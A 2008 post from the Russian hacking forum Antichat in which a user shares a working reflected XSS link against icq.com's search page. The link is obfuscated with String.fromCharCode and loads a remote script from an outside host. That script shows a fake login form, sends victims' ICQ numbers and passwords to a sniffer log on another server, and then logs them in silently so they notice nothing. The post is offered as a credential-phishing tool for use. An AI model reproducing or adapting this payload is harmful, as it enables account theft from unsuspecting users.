ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Фэйк через Xss на Icq.com
  #1  
Старый 18.03.2008, 11:06
Аватар для ZET36
ZET36
Участник форума
Регистрация: 08.10.2007
Сообщений: 259
Провел на форуме:
500748

Репутация: 137
По умолчанию Фэйк через Xss на Icq.com

Увидел тему на форуме "Хss на Icq.com" только вот смысла в ней нету. ведь имея куки юин не угониш.

в голову пришла идея использовать фэйк через хсс

вот пример такой реализации фэйка через хss (пассивную, активную жалко выкладывать)

Код:
http://www.icq.com/search/results.php?q=%3Cscrip%3Edocument.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,119,101,119,113,101,119,113,101,113,101,119,113,101,119,113,46,110,97,114,111,100,46,114,117,47,102,51,46,106,115,34,62,60,47,115,99,114,105,112,116,62))%3C/script%3E
пс: убрать все пробелы в ссылке

номер-пароль будут приходить на http://antichat.org/s/red/log.php

актуально под всеми браузерами
( правдо в лисе приходят штук так 20 отчотов вместо одного)

скрипт фэйка почти беспаливный после ввода данных в форму данные летят на снифер и потом пытаются залогинится с этими данными на www.icq.com так что жертва пропалить ничего неладного (типо переадресации на левый сайт, обычнно этот метод используют в таких фэйках) не должна

Последний раз редактировалось ZET36; 18.03.2008 в 11:09..
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Xss через Антивирус Касперского 7.0 o3,14um Уязвимости 9 24.03.2008 07:47
XSS на ICQ.com ещё действует Nova ICQ 1 13.02.2006 13:49
через xss куки на снифер LeopardSS E-Mail 1 20.01.2006 21:18
Взлом IBP 2.0.4 через Xss Astro Форумы 3 29.11.2005 21:29
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ